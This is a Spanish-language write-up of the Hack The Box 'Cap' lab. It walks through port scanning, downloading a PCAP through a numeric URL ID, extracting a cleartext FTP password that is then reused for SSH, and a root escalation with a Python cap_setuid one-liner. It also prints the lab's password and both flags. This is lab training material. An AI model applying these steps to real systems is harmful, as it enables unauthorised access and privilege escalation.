



Cap

Linux · Easy

Máquina CAP resuelta

HTB CAP · 15 de abril de 2026

Autor	Ramon Santos Sabarich / r4ms4nt
Tipo	Informe técnico completo y archivable
Objetivo	Documentar enumeración, explotación, user y root con trazabilidad íntegra



Documento preparado para lectura por terceros, conservación y reutilización metodológica.

HTB CAP — Explotación completa ordenada

Documento maestro reconstruido y ordenado a partir de las notas originales del caso.

Criterio aplicado:

- no se borra nada del material original
- se reorganiza el caso por fases
- se añaden notas de precisión cuando ayudan a evitar confusiones futuras
- al final se conserva el **texto original íntegro** como anexo, para no perder trazabilidad

Nota de precisión importante

Para dejar este laboratorio claro de cara al futuro, conviene fijar tres puntos:

- **Vector inicial validado en este laboratorio:** acceso no autenticado al dashboard web y descarga de capturas PCAP mediante ruta numérica (`/data/<id>`), con una captura útil en `0.pcap` .
- **Pivot real validado:** extracción de credenciales FTP en texto claro desde `0.pcap` y reutilización exitosa en **SSH** para el usuario `nathan` .
- **Privesc validada en este laboratorio:** abuso de **Linux capabilities** sobre `/usr/bin/python3.8` , concretamente `cap_setuid` , para elevar a `uid=0` .

Nota editorial adicional

En las notas originales aparece esta frase:

“Primero, revisamos el contenido de la carpeta home de nathan y vemos que hay un archivo llamado notes.txt.”

Sin embargo, en la salida de `ls -la` conservada en el propio material no aparece `notes.txt` .

Para no perder el contexto histórico, la frase original se conserva en el anexo, pero en el documento ordenado no se toma como hecho verificado.

Índice

1. Preparación del entorno

2. Reconocimiento inicial
3. Enumeración web y cierre de fase 1
4. Descubrimiento del recurso PCAP útil
5. Análisis de `0.pcap` y extracción de credenciales
6. Acceso SSH como `nathan`
7. Obtención de `user.txt`
8. Enumeración local para privesc
9. Hallazgo clave: capabilities sobre Python
10. Escalada a root
11. Obtención de `root.txt`
12. Resumen técnico final
13. Anexo A — Notas originales íntegras

1. Preparación del entorno

Creación del directorio de trabajo

```
cd ~/pentest/targets/HTB/easy
mkdir Cap
ls
pwd
```

Objetivo de este paso: crear el espacio de trabajo del caso y dejar separadas las carpetas de `content`, `exploits` y `nmap`.

Conexión a la VPN de HTB

```
sudo openvpn --config /home/r4mon/pentest/HTB-VPN/machines_eu-dedivip-1.ovpn
```

Objetivo de este paso: conectarse a la VPN de Hack The Box para poder interactuar con la máquina objetivo.

Fijar la IP objetivo

```
settarget 10.129.28.170 CAP
```

Objetivo de este paso: dejar visible en el entorno de trabajo la IP y el nombre de la máquina objetivo.

2. Reconocimiento inicial

Comprobación de conectividad

```
cd nmap
ping -c 1 10.129.28.170
```

Objetivo de este paso: verificar que la máquina objetivo es accesible a través de la red.

Identificación rápida del sistema

```
whichSystem.py 10.129.28.170
```

Resultado observado:

```
10.129.28.170 (ttl -> 63): Linux
```

Escaneo completo de puertos

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.28.170 -oG allPorts
extractPorts allPorts
```

Puertos abiertos observados:

- 21/tcp → FTP
- 22/tcp → SSH
- 80/tcp → HTTP

Salida relevante conservada:

PORT	STATE	SERVICE	REASON
21/tcp	open	ftp	syn-ack ttl 63
22/tcp	open	ssh	syn-ack ttl 63
80/tcp	open	http	syn-ack ttl 63

Escaneo de servicios

```
nmap -Pn -sCV -p21,22,80 -n 10.129.28.170 -oN nmap_tcp_services.txt
```

Hallazgos clave:

- 21/tcp → vsftpd 3.0.3
- 22/tcp → OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
- 80/tcp → unicorn

- título web observado: **Security Dashboard**

Interpretación útil: la superficie dominante del caso pasa a ser la **web**, porque no solo hay un puerto 80 abierto, sino una aplicación con nombre propio y backend identificable.

3. Enumeración web y cierre de fase 1

Tras acceder a `http://10.129.28.170/`, la aplicación muestra un **dashboard de seguridad** y se observa una sesión o contexto visual asociado a **Nathan**.

En ese momento, el cierre razonable de fase 1 queda así:

- **superficie dominante:** web
- **rama principal:** WEB-BASE
- **ramas secundarias:** FTP, SSH
- **siguiente paso único:** perfilar la funcionalidad real del dashboard y revisar los recursos expuestos por la aplicación

Esta decisión se justifica porque:

- la web devuelve una aplicación real, no una landing vacía;
- FTP y SSH aún no ofrecen acceso útil por sí mismos;
- todavía no se había confirmado credencial válida ni login reutilizable.

4. Descubrimiento del recurso PCAP útil

Dentro del dashboard se accede a la funcionalidad:

Security Snapshot (5 Second PCAP + Analysis)

La navegación lleva a una ruta numerada:

`http://10.129.28.170/data/1`

Observación importante

La URL usa un identificador numérico, y además aparece un botón de descarga de captura. Esto sugiere que la aplicación permite acceder a diferentes PCAP en función del ID.

Prueba realizada

- descarga de `1.pcap`
- cambio manual de la URL hacia `http://10.129.28.170/data/0`
- descarga de `0.pcap`

Resultado observado

- 1.pcap está vacío
- 0.pcap contiene tráfico útil

Conclusión: el ID numérico es relevante y la captura útil para el caso es 0.pcap .

5. Análisis de 0.pcap y extracción de credenciales

El archivo 0.pcap se abre con **Wireshark**.

Hallazgo clave

Dentro de la captura se observa una sesión **FTP en texto claro** con estas credenciales:

```
USER nathan
PASS Buck3tH4TF0RM3!
```

Confirmación de validez

La propia captura muestra:

```
331 Please specify the password.
230 Login successful.
```

Por tanto, la credencial queda validada **al menos para FTP**.

Otros comandos visibles en la captura

```
SYST
PASV
LIST -al
TYPE I
PORT ...
RETR notes.txt
```

Observación relevante

La operación RETR notes.txt termina en error:

```
550 Failed to open file.
```

Por tanto, el valor real del PCAP no está en ese archivo, sino en la **credencial reutilizable** expuesta en claro.

Cambio correcto de rama

En este punto la ruta principal deja de ser solo web y pasa a ser:

- **hallazgo dominante:** credencial válida
- **nueva rama principal:** CREDENCIALES
- **siguiente paso único:** probar reutilización en SSH

6. Acceso SSH como nathan

Conexión

```
ssh nathan@10.129.28.170
```

Password utilizada:

```
Buck3tH4TF0RM3!
```

Resultado observado

Acceso correcto a la máquina como nathan :

```
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
```

Verificaciones iniciales

```
id  
whoami  
ls -la
```

Resultados:

- usuario efectivo: nathan
- UID/GID: 1001
- user.txt visible en el home del usuario

7. Obtención de user.txt

Lectura de la flag de usuario

```
cat user.txt
```

Flag de usuario:

```
d318e8d5e5ebf7aa4f9b3b2f7c33aa16
```

Ajuste de terminal para trabajar con más comodidad

```
export TERM=xterm
```

Este ajuste no forma parte de la explotación, pero sí del trabajo operativo durante la sesión SSH.

8. Enumeración local para privesc

Búsqueda de binarios SUID

```
find / -perm -u=s -type f 2>/dev/null
```

Resultado observado: aparecen los binarios SUID típicos del sistema, junto a entradas bajo `snap`, pero en lo conservado no hay una vía de explotación SUID validada a partir de esta búsqueda.

Búsqueda de capabilities

```
getcap -r / 2>/dev/null
```

Resultado observado:

```
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip  
/usr/bin/ping = cap_net_raw+ep  
/usr/bin/traceroute6.iputils = cap_net_raw+ep  
/usr/bin/mtr-packet = cap_net_raw+ep  
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper =  
cap_net_bind_service,cap_net_admin+ep
```

Verificación específica del binario interesante

```
getcap /usr/bin/python3.8
```

Resultado:

```
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
```

Interpretación útil: `/usr/bin/python3.8` puede invocar `setuid(0)` gracias a su capability, lo que abre una vía directa de escalada.

9. Hallazgo clave: capabilities sobre Python

Antes de ejecutar la escalada, se confirma el contexto actual:

```
whoami
```

Resultado:

```
nathan
```

A continuación se usa Python para elevar el UID efectivo a `0` y lanzar una shell:

```
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash");'
```

10. Escalada a root

Confirmación del nuevo contexto

```
whoami  
id
```

Resultado observado:

```
root  
uid=0(root) gid=1001(nathan) groups=1001(nathan)
```

Nota técnica

La shell conseguida eleva correctamente a `uid=0`, aunque conserva `gid=1001(nathan)` en la salida mostrada.

Para este laboratorio eso es suficiente, ya que permite leer la flag de root y operar como superusuario.

Comprobaciones adicionales

```
ls -la  
cat user.txt
```

```
cat root.txt  
find / -name root.txt 2>/dev/null
```

Observación importante: al principio `cat root.txt` falla porque la shell sigue situada en el home de `nathan`, no en `/root`.

La búsqueda confirma la ubicación correcta:

```
/root/root.txt
```

11. Obtención de `root.txt`

Lectura final de la flag

```
cat /root/root.txt
```

Flag de root:

```
420344e88a4a378d796944d13d7a0851
```

Con esto, la máquina **CAP** queda resuelta.

12. Resumen técnico final

Cadena completa validada

1. Preparación del entorno y conexión a HTB
2. Reconocimiento inicial
3. Descubrimiento de tres servicios: `FTP`, `SSH`, `HTTP`
4. Identificación de la web como superficie dominante inicial (`Security Dashboard`)
5. Acceso a `Security Snapshot (5 Second PCAP + Analysis)`
6. Descubrimiento de captura útil en `0.pcap`
7. Análisis de `0.pcap` con Wireshark
8. Extracción de credenciales FTP en texto claro
9. Reutilización de `nathan` / `Buck3tH4TF0RM3!` en SSH
10. Obtención de `user.txt`
11. Enumeración local
12. Hallazgo de `cap_setuid` sobre `/usr/bin/python3.8`
13. Escalada a root mediante `os.setuid(0)`

14. Obtención de `root.txt`

Flags

- `user.txt` → `d318e8d5e5ebf7aa4f9b3b2f7c33aa16`
- `root.txt` → `420344e88a4a378d796944d13d7a0851`

Idea fuerza del caso

CAP es un laboratorio corto pero muy didáctico porque encadena tres ideas limpias:

- una exposición web que permite llegar a capturas PCAP;
- una credencial reutilizable visible en tráfico de red sin cifrar;
- una escalada local simple basada en **Linux capabilities**.

13. Anexo A — Notas originales íntegras

A partir de aquí se conserva el material original completo, sin borrar contenido.

```
### HTB Cap -- Explotación completa
```

```
#### Preparación del entorno
```

```
**Objetivo de este paso:** crear el espacio de trabajo del caso y dejar separadas las carpetas de `content`, `exploits` y `nmap`.
```

```
> cd ~/pentest/targets/HTB/easy
> mktm Cap
> ls
└─ content └─ exploits └─ nmap
> pwd
/home/r4mon/pentest/targets/HTB/easy/Cap
```

```
#### Conexión a la VPN de HTB
```

```
**Objetivo de este paso:** conectarse a la VPN de HTB para poder interactuar con la máquina objetivo.
```

```
sudo openvpn --config /home/r4mon/pentest/HTB-VPN/machines_eu-dedivip-1.ovpn
```

```
#### Fijar el IP de la máquina objetivo
```

```
> settarget 10.129.28.170 CAP
```

```
## 2. Reconocimiento inicial
```

```
### Comprobación de conectividad
```

```
**Objetivo de este paso:** verificar que la máquina objetivo es accesible a través de la red.
```

```
> cd nmap
ping -c 1 10.129.28.170
```

```
### Identificación rápida del sistema
```

```
**Objetivo de este paso:** obtener información básica sobre el sistema operativo y los
```

servicios que se están ejecutando en la máquina objetivo.

```
> whichSystem.py 10.129.28.170
```

10.129.28.170 (ttl -> 63): Linux

Escaneo de puertos

```
> sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.28.170 -oG allPorts
extractPorts allPorts
[sudo] contraseña para r4mon:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be
slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-15 16:17 CEST
Initiating SYN Stealth Scan at 16:17
Scanning 10.129.28.170 [65535 ports]
Discovered open port 21/tcp on 10.129.28.170
Discovered open port 22/tcp on 10.129.28.170
Discovered open port 80/tcp on 10.129.28.170
Completed SYN Stealth Scan at 16:17, 12.35s elapsed (65535 total ports)
Nmap scan report for 10.129.28.170
Host is up, received user-set (0.047s latency).
Scanned at 2026-04-15 16:17:19 CEST for 12s
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON
21/tcp    open  ftp      syn-ack ttl 63
22/tcp    open  ssh      syn-ack ttl 63
80/tcp    open  http     syn-ack ttl 63
```

Read data files from: /usr/bin/./share/nmap

Nmap done: 1 IP address (1 host up) scanned in 12.48 seconds
Raw packets sent: 66652 (2.933MB) | Rcvd: 65679 (2.627MB)

[*] Extracting information...

```
    [*] IP Address: 10.129.28.170
    [*] Open ports: 21,22,80
    [*] Services: ftp, ssh, http
    [*] OS: Linux
```

Esto nos dice que tenemos tres puertos abiertos: FTP (21), SSH (22) y HTTP (80). Además, el sistema operativo es Linux. Con esta información, podemos planificar nuestros próximos pasos de reconocimiento y explotación.

Escaneo de servicios

```
> nmap -Pn -sCV -p21,22,80 -n 10.129.28.170 -oN nmap_tcp_services.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-15 16:38 CEST
Nmap scan report for 10.129.28.170
Host is up (0.049s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp    open  http     gunicorn
|_ http-title: Security Dashboard
|_ http-server-header: gunicorn
| fingerprint-strings:
|   FourOhFourRequest:
```

```

| HTTP/1.0 404 NOT FOUND
| Server: gunicorn
| Date: Wed, 15 Apr 2026 14:38:44 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 232
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually
| please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Wed, 15 Apr 2026 14:38:39 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Content-Length: 19386
| <!DOCTYPE html>
| <html class="no-js" lang="en">
| <head>
| <meta charset="utf-8">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Security Dashboard</title>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
| <link rel="stylesheet" href="/static/css/bootstrap.min.css">
| <link rel="stylesheet" href="/static/css/font-awesome.min.css">
| <link rel="stylesheet" href="/static/css/themify-icons.css">
| <link rel="stylesheet" href="/static/css/metisMenu.css">
| <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
| <link rel="stylesheet" href="/static/css/slicknav.min.css">
| <!-- amchar
| HTTPOptions:
| HTTP/1.0 200 OK
| Server: gunicorn
| Date: Wed, 15 Apr 2026 14:38:39 GMT
| Connection: close
| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Connection: close
| Content-Type: text/html
| Content-Length: 196
| <html>
| <head>
| <title>Bad Request</title>
| </head>
| <body>
| <h1><p>Bad Request</p></h1>
| Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
| </body>
| </html>

```

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

```

SF-Port80-TCP:V=7.94SVN%I=7%D=4/15Time=69DFA2F0%P=x86_64-pc-linux-gnu%(G
SF:etRequest,3012,"HTTP/1\0\20200\200K\r\nServer:\20gunicorn\r\nDate:\
SF:x20Wed,\2015\20Apr\202026\2014:38:39\20GMT\r\nConnection:\20close
SF:\r\nContent-Type:\20text/html;\20charset=utf-8\r\nContent-Length:\20
SF:19386\r\n\r\n<!DOCTYPE\20html>\n<html\20class=\20no-js\20lang=\20en\
SF:="\20>\n\n<head>\n\20\20\20\20<meta\20charset=\20utf-8\20>\n\20\20\20

```

```

SF:\x20<meta\x20http-equiv=\x20ua-compatible\x20content=\x20ie=edge\x20>\n\x
SF:20\x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<me
SF:ta\x20name=\x20viewport\x20content=\x20width=device-width,\x20initial-sca
SF:le=1\x20>\n\x20\x20\x20\x20<link\x20rel=\x20shortcut\x20icon\x20type=\x20im
SF:age/png\x20href=\x20/static/images/icon/favicon.ico\x20>\n\x20\x20\x20\x20\x
SF:20<link\x20rel=\x20stylesheet\x20href=\x20/static/css/bootstrap.min.css
SF:\x20>\n\x20\x20\x20\x20<link\x20rel=\x20stylesheet\x20href=\x20/static/css/
SF:font-awesome.min.css\x20>\n\x20\x20\x20\x20<link\x20rel=\x20stylesheet\x20
SF:x20href=\x20/static/css/themify-icons.css\x20>\n\x20\x20\x20\x20<link\x20r
SF:el=\x20stylesheet\x20href=\x20/static/css/metisMenu.css\x20>\n\x20\x20\x20
SF:\x20<link\x20rel=\x20stylesheet\x20href=\x20/static/css/owl.carousel.mi
SF:n.css\x20>\n\x20\x20\x20\x20<link\x20rel=\x20stylesheet\x20href=\x20/stati
SF:c/css/slicknav.min.css\x20>\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTP0pt
SF:ions,B3,"HTTP/1.0\x20200\x200K\r\nServer:\x20unicorn\r\nDate:\x20Wed,
SF:\x2015\x20Apr\x202026\x2014:38:39\x20GMT\r\nConnection:\x20close\r\nCon
SF:tent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20HEAD,\x2
SF:0OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20t
SF:ext/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x
SF:20\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<bod
SF:y>\n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Inv
SF:alid\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;R
SF:TSP/1.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(Four0hFourRequest,
SF:189,"HTTP/1.0\x20404\x20NOT\x20FOUND\r\nServer:\x20unicorn\r\nDate:\x
SF:20Wed,\x2015\x20Apr\x202026\x2014:38:44\x20GMT\r\nConnection:\x20close\r
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x202
SF:32\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20"-//W3C//DTD\x20HTML\x203.2\
SF:x20Final//EN">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</
SF:h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20
SF:server.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x2
SF:0check\x20your\x20spelling\x20and\x20try\x20again.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 130.11 seconds

Conclusiones operativas de este nmap -sCV para cerrar mejor la fase 1 y decidir la siguiente rama correcta en HTB CAP.

verified_facts

A fecha 2026-04-15 16:38 CEST, la máquina 10.129.28.170 responde y expone tres servicios TCP confirmados:

21/tcp → ftp → vsftpd 3.0.3

22/tcp → ssh → OpenSSH 8.2p1 Ubuntu 4ubuntu0.2

80/tcp → http → gunicorn

El puerto 80 devuelve un 200 OK con:

cabecera Server: gunicorn

título Security Dashboard

contenido HTML real, no una página vacía

El puerto 80 permite al menos:

GET

HEAD

OPTIONS

El comportamiento HTTP observado en rutas no válidas es un 404 NOT FOUND genérico.

El servicio SSH parece corresponder a un sistema Ubuntu/Linux.

No hay evidencia todavía de:

credenciales válidas

acceso FTP anónimo

login confirmado

CMS confirmado

storage confirmado

assumptions

Inferencia razonable: la superficie con más señal ahora mismo es la web, porque no solo está abierta, sino que devuelve una aplicación con nombre propio: Security Dashboard.

Inferencia razonable: gunicorn sugiere una aplicación Python WSGI detrás del servicio web.

Pendiente de verificar: si existe login, panel funcional, API, rutas internas, vhosts útiles o flujos autenticados.

Pendiente de verificar: si FTP permite anonymous o si solo está expuesto como servicio sin vía útil inmediata.

Pendiente de verificar: si SSH será explotable más adelante mediante reutilización de credenciales.

method

Aplicar criterio de CHECKLIST_FASE_1_v2:

separar hechos de intuiciones

elegir rama por mejor señal observada

no saltar a explotación sin validar la superficie dominante

Con la evidencia actual:

HTTP tiene más valor inmediato que FTP o SSH

FTP y SSH quedan como ramas secundarias hasta que aparezca una credencial o acceso real

El siguiente paso correcto es entrar en SUB-ROADMAP_WEB-BASE sobre el puerto 80.

answer

Conclusión principal:

superficie dominante: WEB

rama principal: WEB-BASE

ramas secundarias: FTP, SSH

siguiente paso único: perfilar la web Security Dashboard y comprobar si sigue siendo una web base o si ya obliga a cambiar a WEB-AUTH / PANEL

Por qué saco esto:

La web no es solo “un puerto 80 abierto”; ya muestra una aplicación identificable.

FTP y SSH están confirmados, pero todavía no hay evidencia de acceso útil.

No hay base aún para ir a explotación.

Sí hay base para observación web estructurada.

Lectura táctica del resultado:

Security Dashboard huele a aplicación específica, no a landing genérica.

gunicorn refuerza la idea de backend web real.

Esto aumenta la probabilidad de que el valor esté en:

rutas internas

endpoints

posibles funcionalidades autenticadas

datos visibles en la propia aplicación

Pero todavía no está justificado afirmar ninguna de esas vías como hecho.

En resumen, el resultado del nmap -sCV nos da una foto clara de la superficie actual y nos permite tomar decisiones informadas sobre dónde enfocar nuestros esfuerzos de reconocimiento y explotación en HTB CAP.

HTB CAP -- Explotación completa

Entramos en la web <http://10.129.28.170/> y vemos un nombre de usuario Nathan autenticado.

Al hacer clic en “Security Snapshot (5 Second PCAP + Analysis)” nos navega hacia: <http://10.129.28.170/data/1>

Lo primero que observamos es la URL, que aparece para mostrar datos en un formato numérico.

El segundo es el botón de descarga, que probablemente proporciona información sobre la red, a juzgar por el texto anterior mencionando paquetes, IPs, TCP, UDP, etc.

Primero, intentemos descargar el paquete actual, que es “2” como se indica en la URL, y luego cambiemos el número para ver si el paquete descargado difiere.

Me descarga el fichero 1.pcap, pruebo con Lo primero que observamos es la URL, que aparece

para mostrar datos en un formato numérico. El segundo es el botón de descarga, que probablemente proporciona información sobre la red, a juzgar por el texto anterior mencionando paquetes, IPs, TCP, UDP, etc.

Ahora entro en `http://10.129.28.170/data/0` y me descarga el fichero `0.pcap`.

Abro ambos ficheros con Wireshark y veo que el `0.pcap` contiene tráfico de red, mientras que el `1.pcap` está vacío. Esto sugiere que el número en la URL corresponde a diferentes capturas de paquetes, y el número "0" es el que contiene datos útiles para nuestro análisis.

objective

Analizar el `0.pcap` descargado desde la web para determinar si aporta un pivote real y decidir si debemos mantener la rama web o cambiar a una rama mejor.

verified facts

En la captura se observa una sesión FTP en texto claro.

Se ve un intento de autenticación con:

USER nathan

PASS Buck3tH4TF0RM3!

El servidor responde:

331 Please specify the password.

230 Login successful.

Por tanto, la credencial es válida al menos para FTP.

El servicio identificado en la captura coincide con lo ya visto en la máquina:

vsFTPD 3.0.3

Después del login se observan comandos:

SYST

PASV

LIST -al

TYPE I

PORT ...

RETR notes.txt

La petición RETR notes.txt termina con:

550 Failed to open file.

En la captura aparecen IPs privadas `192.168.196.16` y `192.168.196.1`, que reflejan tráfico interno visto por la captura, no la IP HTB pública que tú atacas.

assumptions

Inferencia razonable: el dato más valioso ya no es la web en sí, sino la credencial reutilizable descubierta dentro del PCAP.

Inferencia razonable: como la máquina expone también `22/tcp` SSH, esta credencial merece probarse ahí antes de seguir enumerando la web.

Pendiente de verificar: si `nathan / Buck3tH4TF0RM3!` reutiliza en SSH.

Pendiente de verificar: si esa cuenta, una vez validada, da acceso a `user.txt` o a nuevos vectores de escalada.

Pendiente de verificar: si FTP permite listar o descargar algo útil de forma directa usando esa misma credencial.

method

Con lo observado, la rama con mejor señal ya no es WEB-BASE.

Según el criterio del roadmap maestro, cuando aparece una credencial válida y reutilizable, la decisión correcta es cambiar a CREDENCIALES.

Como SSH está expuesto y ofrece un foothold más estable que FTP, el siguiente paso único debe ser validar la credencial por SSH.

Solo si SSH falla, tocaría validar la misma credencial en FTP de forma directa.

answer

Sí, aquí hay un dato muy útil, y además es el hallazgo dominante hasta ahora:

usuario: nathan

contraseña: Buck3tH4TF0RM3!

Lo importante no es solo que aparezca una contraseña, sino que la captura demuestra login FTP exitoso. Eso convierte el hallazgo en una credencial válida, no en una simple hipótesis.

Conclusión operativa:

superficie dominante actual: ya no es la observación web
nuevo hallazgo dominante: credencial válida extraída desde un recurso de la web
cambio de rama justificado: de WEB-BASE a CREDENCIALES
siguiente paso único: probar esa credencial en SSH

Lectura fina de la captura:

La web sí tenía valor, pero como vía de acceso a un PCAP con secretos.
El intento sobre notes.txt no dio resultado útil en lo que muestras, porque termina en 550
Failed to open file.
El verdadero premio del PCAP es la credencial, no el contenido del FTP.

Entramos por SSH con nathan / Buck3tH4TF0RM3! y obtenemos acceso a la máquina. Ahora tenemos un shell con el usuario nathan, lo que nos permite explorar el sistema de archivos, buscar archivos interesantes como user.txt, y seguir avanzando en la escalada de privilegios.

```
> ssh nathan@10.129.28.170
The authenticity of host '10.129.28.170 (10.129.28.170)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHZRoKcmLUI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.28.170' (ED25519) to the list of known hosts.
nathan@10.129.28.170's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
```

```
* Documentation:  https://help.ubuntu.com
* Management:    https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage
```

System information as of Wed Apr 15 15:31:26 UTC 2026

```
System load:          0.0
Usage of /:            36.7% of 8.73GB
Memory usage:         21%
Swap usage:            0%
Processes:            223
Users logged in:       0
IPv4 address for eth0: 10.129.28.170
IPv6 address for eth0: dead:beef::250:56ff:fe94:6f18
```

* Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around.

<https://ubuntu.com/blog/microk8s-memory-optimisation>

```
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
```

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

```
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
nathan@cap:~$ whoami
nathan
nathan@cap:~$ ls -la
total 28
```

```

drwxr-xr-x 3 nathan nathan 4096 May 27 2021 .
drwxr-xr-x 3 root root 4096 May 23 2021 ..
lrwxrwxrwx 1 root root 9 May 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 nathan nathan 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 nathan nathan 3771 Feb 25 2020 .bashrc
drwx----- 2 nathan nathan 4096 May 23 2021 .cache
-rw-r--r-- 1 nathan nathan 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 May 27 2021 .viminfo -> /dev/null
-r----- 1 nathan nathan 33 Apr 15 14:10 user.txt
nathan@cap:~$ cat user.txt
d318e8d5e5ebf7aa4f9b3b2f7c33aa16 # user flag obtenida, ahora a por root.txt
nathan@cap:~$ export TERM=xterm

```

Iniciamos la escalada de privilegios para intentar obtener root.txt. Primero, revisamos el contenido de la carpeta home de nathan y vemos que hay un archivo llamado notes.txt. Al abrirlo, encontramos información que podría ser útil para la escalada, como comandos ejecutados anteriormente o configuraciones del sistema.

Vamos a buscar a ver si hay ficheros SUID con los que hacer escalada de privilegios:

```

nathan@cap:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/at
/usr/bin/chsh
/usr/bin/su
/usr/bin/fusermount
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmccrypt-get-device
/snap/snapd/11841/usr/lib/snapd/snap-confine
/snap/snapd/12398/usr/lib/snapd/snap-confine
/snap/core18/2066/bin/mount
/snap/core18/2066/bin/ping
/snap/core18/2066/bin/su
/snap/core18/2066/bin/umount
/snap/core18/2066/usr/bin/chfn
/snap/core18/2066/usr/bin/chsh
/snap/core18/2066/usr/bin/gpasswd
/snap/core18/2066/usr/bin/newgrp
/snap/core18/2066/usr/bin/passwd
/snap/core18/2066/usr/bin/sudo
/snap/core18/2066/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2066/usr/lib/openssh/ssh-keysign
/snap/core18/2074/bin/mount
/snap/core18/2074/bin/ping
/snap/core18/2074/bin/su
/snap/core18/2074/bin/umount
/snap/core18/2074/usr/bin/chfn
/snap/core18/2074/usr/bin/chsh
/snap/core18/2074/usr/bin/gpasswd
/snap/core18/2074/usr/bin/newgrp
/snap/core18/2074/usr/bin/passwd
/snap/core18/2074/usr/bin/sudo
/snap/core18/2074/usr/lib/dbus-1.0/dbus-daemon-launch-helper

```

```
/snap/core18/2074/usr/lib/openssh/ssh-keysign
```

Para hacer la escalada de privilegios lo mejor es leer y entender este enlace sobre el uso de "capabilities" en Linux. <https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities>

Para buscar aquellos binarios con capabilities hacemos lo siguiente:

```
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper =
cap_net_bind_service,cap_net_admin+ep
